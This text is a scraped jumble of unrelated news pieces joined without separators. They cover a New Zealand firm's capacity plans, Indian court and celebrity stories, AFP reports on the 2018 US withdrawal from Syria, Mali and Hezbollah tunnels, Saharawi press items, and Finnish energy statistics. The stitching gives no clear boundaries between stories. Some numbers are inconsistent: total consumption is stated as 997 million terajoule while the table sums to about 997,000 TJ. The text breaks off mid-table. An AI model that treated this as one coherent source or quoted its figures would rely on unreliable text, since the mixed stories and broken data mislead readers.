challenge was to manage that risk and capture its share of the demand growth. Last week the firm said it increased its working capital facility with ASB Bank by $6 million to $15.5 million to help meet that extra demand from 4/4.5G and 5G installations. Today Robinson said a key focus for the company through to March is expanding capacity at Rakon India to meet that customer demand. (BusinessDesk) Comments from our readers No comments yet Add your comment: Your name: Your email: Not displayed to the public Comment: Comments to Sharechat go through an approval process. Comments which are defamatory, abusive or in some way deemed inappropriate will not be approved. It is allowable to use some form of non-de-plume for your name, however we recommend real email addresses are used. Comments from free email addresses such as Gmail, Yahoo, Hotmail, etc may not be approved. Anti-spam verification: Type the text you see in the image into the field below. You are asked to do this in order to verify that this enquiry is not being performed by an automated process. Related News: Kiwi Property Group Limited (NZX: KPG) Signs Sale and Purchase Agreement with IKEA 2nd December 2021 Morning Report The New Zealand Refining Company Limited (NZX: NZR) Launches Share Purchase Plan Seeka Limited (NZX: SEK) Confirms Market Guidance Australia and New Zealand Banking Group Limited (NZX: ANZ) Acknowledges Class Action Proceedings 1st December 2021 Morning Report Livestock Improvement Corporation Limited (NZX: LIC) Appoints New Chief Executive 30th November 2021 Morning Report Serko Limited (NZX: SKO) Announces Opening of NZ$10 Million Retail Offer Rua Bioscience Limited (NZX: RUA) Rua to Accelerate Growth with Proposed Acquisition of Zalm In his petition, Dileep pleaded that he has been framed in the case by the police relying only on the statement of the prime accused, Pulsar Suni. Kochi: The Kerala High Court here on Wednesday dismissed a plea by the eighth accused in the infamous actress abduction case, actor Dileep, for a CBI probe into the case. Meanwhile, the prosecution put up their defense by stating that an accused in a case has no right to decide on what sort of probe should take place and, moreover, this is nothing but a ploy to delay the trial in the case. The police probe team has already filed the detailed charge sheet in the case and the court on March 14 summoned all the accused. Dileep was arrested after two rounds of questioning on July 10, 2017, for his alleged role in the conspiracy behind the abduction of the young actress. Dileep's former wife Manju Warrier is one of the witnesses in the case. After being in jail for 85 days, Dileep secured bail. The actress was allegedly abducted on February 17 last year while she was on her way to Kochi from Thrissur. Pulsar Suni, the prime accused, drove her around for two hours before she was dropped near the home of director-actor Lal, who later called the police. After intervention from Maharashtra chief minister's office (CMO), the Mumbai Police on Wednesday expedited investigation into the case, and filed an application in the Bombay High Court for the cancellation of Bhojwani's bail in another case. Economic Offences Wing of the Mumbai Police said a charge sheet will be filed soon with regard to harassment complaints filed by Bollywood actor Dilip Kumar against builder Samir Bhojwani. Kumar's wife and veteran actress Saira Banu on Tuesday had expressed her disappointment over Maharashtra Chief Minister Devendra Fadnavis' failure to deliver justice in the matter. She had also sought Prime Minister Narendra Modi's intervention. Saira tweeted, "Request from Saira Banu Khan: To the Hon'ble @PMOIndia Shri @narendramodi Awaiting for an appointment. I am tired of repeated assurances from CM @Dev_Fadnavis "I AM TRYING"Sir you are the last hope of protecting DILIP SAHAB's only house from Land Mafia Samir Bhojwani. I beg." The tweet came a day after the actress had tweeted requesting a meeting with Prime Minister Modi. In an FIR lodged on January 4 this year, Saira alleged that Bhojwani, on the basis of forged documents, illegally staked ownership of land in Pali Hill, Bandra, the rights of which were acquired by Dilip Kumar on September 25, 1953. The latest hot buzz in Kollywood media circle is that Superstar Rajinikanths Petta has strong lines against honor killings. But team Petta is tight-lipped about the core story of Petta and they didnt reveal anything about the film so far except for the teaser which showcased trademark Rajinikanth style. Meanwhile, Pettas Telugu theatrical rights have been bagged by C Kalyan but the film will not have a simultaneous release along with Tamil version on Pongal/Sankranti weekend. The reason we hear is that more than three Telugu films are slated to release for Sankranti season so Petta (Telugu) will be postponed to Republic Day weekend. This comes after the BJP had moved the Calcutta High Court on Monday with a fresh plea, challenging the West Bengal government's denial of permission to the party's proposed 'rath yatra' in the state. : In a huge relief for the BJP, the Calcutta High Court has granted permission for the party's three yatras in West Bengal and directs the administration to ensure that there is no breach of law and order. The state government had held a meeting on the 'rath yatra' with a three-member BJP team as per the high court's direction, following which it informed the party on Saturday that permission could be granted for the 'yatra'. Representing the BJP, lawyer Saptangshu Basu mentioned the matter before the court of Justice Tapabrata Chakraborty and sought permission to file a fresh petition. Justice Chakraborty allowed the BJP to file the petition and asked its lawyer to serve copies of it to the state government and other respondents in the matter. The party had proposed to take out three 'rath yatras' in different parts of the state ahead of the Lok Sabha election in 2019. The BJP moved a division bench of the Calcutta High Court after a single-judge bench of Justice Tapabrata Chakraborty refused permission to the party to hold the yatra. The division bench had on December 7 directed the West Bengal chief secretary, the home secretary and the director general of police to hold a meeting with three representatives of the BJP by December 12, and take a decision on the 'yatra' by December 14. : Demanding resignation of Uttar Pradesh Chief Minister Yogi Adityanath, 83 former civil servants -- including ex-foreign secretaries Shyam Saran and Shivsankar Menon -- have written an open letter criticising the central and the state governments for their alleged failure in acting against the killers of a police officer in Bulandshahr. The letter said Adityanath "refuses to acknowledge the gravity of the incident and its communal intent, condemn the perpetrators of violence or direct the police to take action against them but instead asks them to focus attention on those responsible for illegal cow slaughter". Prime Minister Narendra Modi was also attacked in the letter signed by these former bureaucrats, who also included ex-Delhi lt governor Najeeb Jung, ex-foreign secretary Sujatha Singh, IAS-turned activists Aruna Roy and Harsh Mander, former Prasar Bharati CEO Jawahar Sircar and former Planning Commission secretary N C Saxena. "Our Prime Minister, who is so voluble in his election campaigns and who never tires of telling us of how the Constitution of India is the only holy book he worships, maintains stony silence even as he sees a Chief Minister handpicked by him treat that same Constitution with sheer contempt," they said. The letter follows the December 3 killing of Inspector Subodh Kumar Singh and another man in Bulandshahr following mob violence over alleged cow slaughter. Reacting to criticism, Adityanath Wednesday said his government's action in the case should be praised and described the cow slaughter in Bulandshahr as a "political conspiracy" by those who wanted to create anarchy. The Tuesday letter by former bureaucrats asked citizens to unite in a "crusade against the politics of hate and division a politics which aims to destroy the fundamental principles on which our Republic is founded". Drone used to smuggle drugs into Kuwait Kuwait City, Dec 20 (AFP) Dec 20, 2018 Kuwaiti authorities have arrested a man who used a drone to smuggle in drugs from a neighbouring country, the anti-narcotics department said Thursday. It said the department had seized four kilogrammes (nine pounds) of amphetamine and one kilogramme of hashish. Kuwait's interior ministry posted a picture of the drone and the drugs on its Twitter handle. The authorities have regularly reported drug seizures at the airport and border crossings, but this was the first time they say a drone was used. Drones are sold in Kuwait but authorisation is required from the interior ministry for their use. Under Kuwaiti law, operating a drone without permission can result in a three-year jail sentence or a 3,000-dinar ($10,000) fine. Six killed by landmine in central Mali: local officials Bamako, Dec 19 (AFP) Dec 19, 2018 Six civilians, including four women, were killed in central Mali on Wednesday when the vehicle they were in drove over a landmine, local officials said. The road they were travelling on is regularly the scene of explosions by improvised bombs blamed on jihadists. Last month three Mali soldiers were killed in a similar attack near the central town of Boni. Wednesday's landmine attack left six people injured, as well as the six dead, a local elected official told AFP. "It was certainly a mine placed there by terrorists," he added, in reference to jihadist fighters. A fellow local official confirmed the toll and said that one of the victims was a baby. Mali has been struggling to return to stability after Islamist extremists took control of the north in early 2012, prompting a military intervention by France. The extremists were routed in the French operation in 2013 but large stretches of the landlocked African state remain out of government control. US approves $3.5 billion Patriot missile sale to Turkey Washington, Dec 19 (AFP) Dec 19, 2018 The United States said Wednesday it approved the sale of $3.5 billion in missiles to Turkey, offering an ultimatum after US outrage over the NATO ally's plans to buy from Russia. The announcement came as President Donald Trump said that US forces would withdraw from neighboring Syria, a decision likely to please Turkey as it pursues Kurdish fighters. The State Department said it had informed Congress of plans to sell Turkey a package that includes 80 Patriot missiles, 60 PAC-3 missile interceptors and related equipment. "The proposed sale will increase the defensive capabilities of the Turkey military to guard against hostile aggression and shield NATO allies who might train and operate within Turkey's borders," a statement said. A year ago, Ankara announced a deal to purchase rival S-400 missiles from Russia, drawing a rebuke from its allies in NATO -- a group originally formed as a bulwark against the Soviet Union. A State Department official said that Turkey was jeopardizing participation in another US military program, the coveted F-35 fighter jets, if Turkey still went ahead with the S-400 sale. Turkey could also face sanctions on defense purchases under US law if it goes ahead, the official said on condition of anonymity. A purchase from Russia "would have serious ramifications for US ability to do business with Turkey across the defense trade spectrum," the official said. "It is important that NATO countries procure military equipment that is interoperable with NATO systems. A Russian system would not meet that standard." - Ties warming with Trump - The announcement came as Trump said that the United States had defeated the Islamic State group in neighboring Syria -- leading to the withdrawal of US troops, who had effectively protected Kurdish fighters against Turkey. There was no immediate indication that the two announcements were linked. But Trump has made clear that arms sales are a top priority -- citing the income from weapons to defend ties with Saudi Arabia after the kingdom's killing of dissident Saudi journalist Jamal Khashoggi in Istanbul. Turkish President Recep Tayyip Erdogan on Monday vowed to "remove" the Kurdish fighters if necessary, as he said he had spoken by telephone with Trump and agreed to cooperate in Syria. The Kurdish People's Protection Units have formed the backbone of the Syrian Democratic Forces, an opposition group that has seized about a quarter of the country with Washington's backing. Erdogan has called the US-backed Kurdish forces "terrorists," linking them with the Kurdish Workers' Party, or PKK, which has waged an insurgency inside Turkey in the name of the Kurdish minority since 1984. Turkey had until now been forced to be more hesitant in targeting the Kurdish forces, knowing that casualties among US troops would trigger a crisis. Senator Lindsey Graham, a Republican who usually backs Trump, on Twitter condemned the withdrawal plan and said it would "put our allies, the Kurds, at risk." Turkish Foreign Minister Mevlut Cavusoglu said Trump had also promised to look at another priority for Erdogan -- extraditing Fethullah Gulen, an influential cleric in exile in Pennsylvania whom the Turkish leader accuses of plotting a failed 2016 coup against him. White House spokeswoman Sarah Sanders on Tuesday quoted Trump as saying "we would take a look at it," without commenting further. Trump had piled pressure on Erdogan and imposed sanctions over the detention of an evangelical US pastor, Andrew Brunson. He was released in October, removing a major impediment in relations. Trump orders full withdrawal of US troops from Syria Washington, Dec 19 (AFP) Dec 19, 2018 The United States will withdraw all of its troops from Syria, a US official said Wednesday, after President Donald Trump claimed America has "defeated ISIS" in the war-ravaged country. The stunning move, which runs counter to long-established US policy for Syria and the region, caught lawmakers, the Pentagon and international allies off-guard. A withdrawal could have extraordinary geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," the Republican leader tweeted. The US official told AFP that Trump's decision was finalized Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across the country. Currently, about 2,000 US forces are in Syria, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction to Trump's tweet, which appeared to have been sent with scant coordination. A spokeswoman eventually said the Defense Department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk," while Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the US presence in Syria, saying in March he wanted to bring troops home "soon." But the president's military advisors and international allies warned him against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only: "We will ensure force protection is adequately maintained, but as quickly as possible." Echoing Trump, White House spokeswoman Sarah Sanders said IS has been defeated territorially, but the US-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria. These have been ongoing since late 2014. A senior administration official, made available by the White House, said Trump's tweet was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said. "It was the president's decision to make, and he made it." - Fate of Kurdish fighters? - A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia, known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, US support has strained relations between the NATO allies. In a sign of possible rapprochement, the State Department said it had approved the $3.5 billion sale of Patriot missiles and associated equipment to Turkey. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for long-established US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. The US-led coalition on Friday had said the mission was unchanged and any reports to the contrary were "false and designed to sow confusion and chaos." - 'Short-sighted and naive' - A government spokesman for Britain, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," the statement read. A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This move will look like a 'withdrawal,' not a 'victory,' and yet more evidence of the dangerous unpredictability of the US president," Lister said. "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal." IS swept across large swaths of Syria and neighboring Iraq in 2014, implementing their brutal interpretation of Islamic law in areas they controlled. But they have since seen their dream of a state crumble, as they have lost most of that territory to various offensives. In Syria, IS fighters are holding out in what remains of the pocket that once included Hajin, including the villages of Al-Shaafa and Sousa. Trump on Syria: 'it's time' to bring US troops home Washington, Dec 19 (AFP) Dec 19, 2018 President Donald Trump said Wednesday it was time for US troops to come home from Syria, after years of battling the Islamic State group in the war-wracked country. "We won," Trump said in a video message posted on Twitter, declaring the IS jihadists defeated. "We've beaten them and we've beaten them badly. We've taken back the land." "So our boys, our young women, our men -- they're all coming back and they're coming back now," Trump said. His message came at the end of a day of relative surprise in Washington at the news that the 2,000 US troops on the ground in Syria would be withdrawn. A US official said Trump's decision was finalized on Tuesday. In his video message, the Republican president -- facing criticism on both sides of the political aisle -- insisted the time was right. "They're getting ready. You're going to see them soon. These are great American heroes," Trump said. Trump stuns allies by ordering US troops home from Syria Washington, Dec 20 (AFP) Dec 20, 2018 US allies were stunned Thursday after President Donald Trump declared victory over the Islamic State group in Syria and abruptly ordered the withdrawal of US ground troops from the country. The decision runs counter to long-established US policy for Syria and the region. It blindsided lawmakers, the Pentagon and international allies alike. Britain and France warned on Thursday that the fight against jihadists in Syria was not finished. Trump earlier said: "We've won against ISIS," in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." A withdrawal could have major geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A US official told AFP that Trump's decision was finalized Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 US forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction. A spokeswoman eventually said the Defense Department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk." Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Blasting the move as a "huge Obama-like mistake," Graham said "I fear it will lead to devastating consequences for our nation, the region and throughout the world." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the US presence in Syria, saying in March he wanted to bring troops home "soon." But military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only it would come "as quickly as possible." White House spokeswoman Sarah Sanders said the US-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria that have been ongoing since late 2014. A senior administration official said Trump's decision was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said. - Fate of Kurdish fighters? - A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, US support has strained relations between the NATO allies. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. - 'Short-sighted and naive' - A statement issued by the British government, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," the statement read. Junior defence minister Tobias Ellwood was more blunt, retweeting a message from Trump that the jihadists had been defeated in Syria with the words: "I strongly disagree. "It has morphed into other forms of extremism and the threat is very much alive." The Times newspaper on Thursday reported that Britain had not been informed of the decision before Trump announced it. France said Thursday it will maintain its participation in the coalition fighting IS forces in Syria. European Affairs Minister Nathalie Loiseau said "the fight against terrorism is not over." A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal," Lister said. UK says still more to do against IS after US Syria pullout London, Dec 20 (AFP) Dec 20, 2018 Britain said Thursday that it remained committed to the fight against the Islamic State group in Syria, after President Donald Trump's decision to pull out US ground troops. "The global coalition against Daesh has made huge progress, but much remains to be done and we must not lose sight of the threat they pose," Prime Minister Theresa May's spokesman said, using an alternative name for IS. "Even without territory, Daesh will remain a threat. "We remain committed to the global coalition and the campaign to deny Daesh territory and ensure its enduring defeat, working alongside our critical regional partners in Syria and beyond." Repeating a statement issued by the Foreign Office late Wednesday, he said: "This government will continue to do what is necessary to protect the British people and our allies and partners." Media reports suggested London was not given advance notice of the pull-out. But the spokesman said: "We have been in discussion with our US partners on this for a number of days." British Foreign Secretary Jeremy Hunt spoke to US Secretary of State Mike Pompeo on the issue late Wednesday. Junior defence minister Tobias Ellwood had contradicted Trump on Wednesday, retweeting his message that the jihadists had been defeated in Syria with the words: "I strongly disagree. "It has morphed into other forms of extremism and the threat is very much alive." Trump declared on Wednesday that IS had been "beaten" in Syria and announced the pullout of US ground forces from the war-ravaged nation. Currently, about 2,000 US forces are in Syria, most of them on a train-and-advise mission to support local forces fighting IS. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria that have been ongoing since late 2014. Britain takes part in the air strikes as part of the US-led anti-IS international coalition. US Syria pullout could hurt fight against IS: Germany Berlin, Dec 20 (AFP) Dec 20, 2018 Germany warned Thursday that US President Donald Trump's decision to pull troops out of Syria could endanger a battle against Islamic State militants and jeopardise achievements on the front. "The IS has been pushed back, but the threat is not over. There is a danger that the consequences of (Trump's) decision could hurt the fight against the IS and endanger what has been achieved," said German Foreign Minister Heiko Maas in a statement. The battle against the Islamist militants would be "decided in the long run -- militarily and with civilian means", said Maas. The foreign minister stressed the need for a political process under the auspices of the United Nations, in order to bring lasting stability back to war-torn Syria. Six suspected jihadists killed in French air strike in Mali: military Paris, Dec 20 (AFP) Dec 20, 2018 At least six suspected members of a jihadist group were killed overnight in a French air strike in southeastern Mali, a French military spokesman said Thursday. A surveillance drone followed eight "members of an armed terrorist group" as they crossed the border on motorcycles from Niger into Mali, Colonel Patrik Steiger said. A French fighter jet attacked the group, with ground forces then intervening, in an operation that claimed the lives of at least six of them, he added Jihadists in the region have mostly swapped pick-ups for more inconspicuous motorbikes, which allow them to travel on rough roads and tracks through the desert. The operation revealed however that even these bikers are being monitored from the air. The French military did not specify which jihadist group the men belonged to but a regional Al-Qaeda affiliate has long been active in the region. France helped Malian forces defeat jihadist insurgents that took control of the three main towns in the country's north in 2012, but large swathes of the hinterland remain beyond the government's control. France, the former colonial ruler, has deployed a 4,500-member 'Barkhane' force in the region to conduct counter-terrorism operations. Until now the force has intervened mainly in Mali, while also focussing on training troops in Burkina Faso and the other nations of the G5 Sahel military alliance -- Chad, Mauritania and Niger. However, the insurgents have progressively expanded their reach, carrying out attacks on government forces, notably in Burkina Faso and Niger. Israel to begin destroying Hezbollah tunnels Thursday: army Jerusalem, Dec 20 (AFP) Dec 20, 2018 The Israeli army will begin destroying Hezbollah tunnels on Thursday night, a military spokesman said, more than two weeks after announcing their discovery on the border with Lebanon. "Tonight we will begin to neutralise and destroy the tunnels," said Lieutenant Colonel Jonathan Conricus. Since launching an operation to cut off the tunnels on December 4, the army says it has located four underground passageways infiltrating Israeli territory. It issued a warning to Hezbollah, the Lebanese Shiite militant group with which Israel fought a devastating war in 2006. "We have at our disposal infantry units, armoured units, stand-by aviation, naval units, all synchronised with clear orders and ready for a wide range of scenarios," said Conricus. The deployment was a "message to Hezbollah signifying that we will not tolerate any approach or attempt to interfere in our efforts to destroy these cross-border attack tunnels," he said. Trump pulls back from Middle East as Putin rejoices Washington, Dec 20 (AFP) Dec 20, 2018 President Donald Trump vowed Thursday that the United States would no longer be the "policeman of the Middle East" as he ordered troops back from Syria, delighting Russian President Vladimir Putin as US allies voiced unease. Doubling down on his surprise declaration by Twitter of victory over the Islamic State group a day earlier, the US leader both boasted of commanding the world's most powerful military and said that others should lead the fighting. "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight," he tweeted. The real estate mogul turned president, returning to his pre-White House isolationism, on Wednesday ordered the pullout of the 2,000 US troops in a decision that caught off-guard US allies, the Pentagon and members of Congress, several of whom attempted to persuade Trump to reconsider. Secretary of State Mike Pompeo, who like most US officials had been speaking for months about a long-term commitment in Syria, promised that the fight was not over against the Islamic State extremists, also known as ISIS. "The United States of America intends to continue that counterterrorism campaign, continue the fight against ISIS, whether it stems from Syria or other places," Pompeo told the conservative radio host Laura Ingraham. The United States will keep up air strikes in Syria so long as troops remain, Pentagon spokeswoman Commander Rebecca Rebarich said, but it was unclear what would happen afterward. A US defense official told AFP that "there's not a lot of clarity on the future situation," with the air campaign contingent on what allies do. - Putin praises Trump - France and Britain both have small contingents of special forces inside Syria, focused like the US troops on battling the Islamic State group. The US withdrawal will make Russia, which has deployed its air power in support of President Bashar al-Assad, the pre-eminent global power in the conflict. As Trump tweeted that Russia wanted US forces to stay and blamed the "fake news" media for reporting otherwise, Putin publicly rejoiced over the pullout order. "The fact that the US has decided to withdraw its troops is right," Putin said during an annual year-end press conference, saying that "on the whole I agree with the US president" on the level of damage inflicted on Islamic State. Putin, who has described the fall of the Soviet Union as a historic geopolitical disaster, sees Moscow's longtime ally Syria as a key asset in preserving influence in the Middle East. Iran's Shiite clerical regime has also strongly backed Assad, a secular leader from the heterodox Alawite sect. Turkey opposes Assad and may be emboldened by Trump to attack Kurdish fighters inside Syria, who fought alongside US troops against the Islamic State group. Turkey links the Kurds who dominate the US-backed Syrian Democratic Forces to a decades-old insurgency at home, but had been reluctant to strike for fear of setting off a crisis if the United States suffered casualties. Mustefa Bali, a spokesman for the Syrian Democratic Forces, said the fighters would keep up the battle against Islamic State -- but that all bets were off if Turkey attacks. "The scenario of a halt in the anti-terrorist battle is tied to Turkish threats," he told AFP. - Worries in Europe - Bali said the Kurdish forces would keep locked up the Islamic State extremists in their custody -- but alleged that Turkey may target prisons to sow chaos once US troops leave. French President Emmanuel Macron's office called the prisoner issue "extremely important for France" and urged discussions to avoid "one of the negative consequences of a hasty retreat." The Islamic State movement has claimed credit for a slew of bloody attacks around the world, including the 2015 coordinated assault on Paris, and experts estimate that thousands of sympathizers remain. Germany, which has taken in more than one million refugees stemming in large part from the Syria conflict, questioned Trump's assessment that the threat was over. "There is a danger that the consequences of (Trump's) decision could hurt the fight against the IS and endanger what has been achieved," German Foreign Minister Heiko Maas said in a statement. While fighting has largely subsided in Syria and the Islamic State group holds little territory, a political solution remains elusive in ending the war that has killed more than 360,000 and displaced millions since 2011. The outgoing UN envoy to Syria, Staffan de Mistura, acknowledged Thursday to the Security Council that a goal would not be met of setting up a committee by the end of the year to write a new Syrian constitution. James Jeffrey, the US pointman on Syria, had been due to take part in the New York meeting. A State Department official said that Jeffrey instead stayed in Washington "given recent developments." burs-sct/ft Israel begins destroying Hezbollah tunnels: army Jerusalem, Dec 20 (AFP) Dec 20, 2018 The Israeli army on Thursday night began destroying cross-border tunnels dug by Hezbollah, it said, more than two weeks after announcing their discovery on the frontier with Lebanon. Since launching an operation to cut off the tunnels on December 4, the military says it has located four underground passageways infiltrating Israeli territory. "The neutralisation and destruction phase of the cross-border attack tunnels... has begun," the Israeli army said in a statement. The army also issued a warning to Hezbollah, the Lebanese Shiite militant group with which Israel fought a devastating war in 2006. "The IDF (Israel Defense Forces) continues to operate... with reinforced troops, and is prepared with a wide variety of enhanced capabilities for any developments, should they occur," the army said. It later tweeted that the "explosions" Israeli families were hearing in the north of the country were the sound of its "soldiers destroying Hezbollah attack tunnels". Israel alleges Hezbollah had planned to use the tunnels to kidnap or kill its civilians or soldiers, and to seize a slice of Israeli territory in the event of any hostilities. The army said it would "continue to operate to neutralise Hezbollah's military infrastructure and to thwart" any threats from the Lebanese group against Israel and its civilians. A month-long war in 2006 between Israel and Hezbollah killed more than 1,200 Lebanese, mostly civilians, and more than 160 Israelis, mostly soldiers. The Israeli army said the operation to locate and destroy the tunnels was defensive, and that it would involve different techniques. "This phase will... ensure that the attack tunnels cannot be used by the Hezbollah terror organisation and will prevent it from implementing its plans," said the statement. The army advised Israeli authorities and UNIFIL, the United Nations peacekeeping mission in Lebanon, to notify its Lebanese counterpart to take measures to protect civilians across the border. It said it held the Lebanese government "accountable for digging the attack tunnels". "The IDF warns against approaching the openings of the tunnels or staying close to them on the Lebanese side," said the statement. The content herein, unless otherwise known to be public domain, are Copyright 1995-2018 - Space Media Network. All websites are published in Australia and are solely subject to Australian law and governed by Fair Use principals for news reporting and research purposes. AFP, UPI and IANS news wire stories are copyright Agence France-Presse, United Press International and Indo-Asia News Service. ESA news reports are copyright European Space Agency. All NASA sourced material is public domain. Additional copyrights may apply in whole or part to other bona fide parties. Advertising does not imply endorsement, agreement or approval of any opinions, statements or information provided by Space Media Network on any Web page published or hosted by Space Media Network. Privacy Statement Bir Lehlu (Liberated Territories), Dec 20, 2018 (SPS) - The President of the Republic, Mr. Brahim Gali received a letter of thanks from his Angolan counterpart, Mr. Joao Lourenco in response to the congratulatory message sent by the Saharawi leader on the occasion of the 43rd anniversary of the Independence Day of the Republic of Angola. Angolan President Joao Lourenco conveyed his thanks for the congratulations and the signs of brotherhood and solidarity. Angola recognized the Sahrawi Arab Democratic Republic (SADR) on March 11, 1976 and since then the two countries maintain excellent diplomatic relations at a high level. The Republic of Angola has also shown during these four decades its support and support for the right of the Saharawi people to self-determination. SPS 125/090/TRA Dunedin (New Zealand) Dec 20, 2018 (SPS) - Friends of the Sahrawi people in New Zealand organized a demonstration to denounce the arrival of a shipment loaded with Sahrawi phosphate bound for the city of Dunedin in southern New Zealand, calling for stopping this "theft and crime". The demonstrators gathered in front of the ship that arrived at the port earlier this week, and chanted slogans against the looting of Sahrawi wealth, brandishing placards on which sentences like "stop the flight" and "we took you in flagrante delicto" were written. The ship "Triton Folk" came from the port of the occupied city of al-Ayoune, loaded with some 53,000 tonnes of phosphates, worth USD 7 million, illegally imported by Ravensdown Company. The representative of the Frente POLISARIO in Australia, Mohamed Fadel Kamal, quoted by the agency, wrote to the company's executive director with a view to "stopping its involvement in the systematic plundering of the Sahrawi people's wealth. In addition, a documentary film entitled "Les vents de la resistance" (The Winds of Resistance) by Canadian director Josh Cambelas projected last Wednesday in Dunedin. The movie recounts the resistance of the Sahrawi people and the involvement of a Canadian company in the looting of the Sahrawi phosphate, with the complicity of the Moroccan occupier, Many friends of the Sahrawi people reaffirmed their willingness to put more pressure on New Zealand companies to deter them from looting the Western Saharas resources. SPS 125/090/TRA A more recent publication of this set of statistics is available. Latest publication: Energy supply and consumption 2021, 2nd quarter Published: 20 December 2018 Carbon dioxide emissions in the energy sector went up by 4 per cent in January to September According to Statistics Finland's preliminary data, total energy consumption in January to September amounted to 997 million terajoule, which was one per cent more than in the corresponding period last year. Electricity consumption amounted to 64 terawatt hours, which is three per cent more than one year earlier. The use of peat increased clearly, which was the main reason for the four per cent growth in carbon dioxide emissions in the energy sector. Total energy consumption *preliminary The consumption of peat grew in January to September by 30 per cent compared with the corresponding period of last year. Examined in the longer term, the consumption of peat has, however, been on the decline and this year the consumption increased especially as a result of the cold weather in the early part of the year. Carbon dioxide emissions also increased as the consumption of natural gas started to rise after having fallen for seven years. The consumption of wood fuels went down by five per cent and that of coal by two per cent. The growth in the consumption of electricity was caused by the cold weather as well as the improved economic situation of industry. The production of condensing power, which has been falling in several successive years, grew by 51 per cent in this year's January to September. Solar and wind power also continued growing strongly. Net imports of electricity decreased by four per cent, which was mostly due to increased exports to Estonia. In January to September, diverse energy products were imported into Finland to the value of EUR 7.9 billion, which was 23 per cent more than one year earlier. Most energy products were imported from Russia, whose share of the value of imports was 63 per cent. Energy products were exported to the value of EUR 4 billion, which was 15 per cent more than one year previously. Most energy products were exported from Finland to EU countries, which accounted for 80 per cent of the value of exports. Total energy consumption by source (TJ) and CO2 emissions (Mt) Energy source I-III/2018* Annual change-%* Percentage share of total energy consumption* Oil 1) 227,461 0 23 Coal 2) 82,205 -2 8 Natural gas 3) 54,850 9 6 Nuclear energy 4) 174,693 2 18 Net imports of electricity 5) 54,324 -4 5 Hydro power 5) 36,684 -4 4 Wind power 5) 14,746 28 2 Peat 49,181 30 5 Wood fuels 258,255 -5 26 Others 6) 44,747 13 5 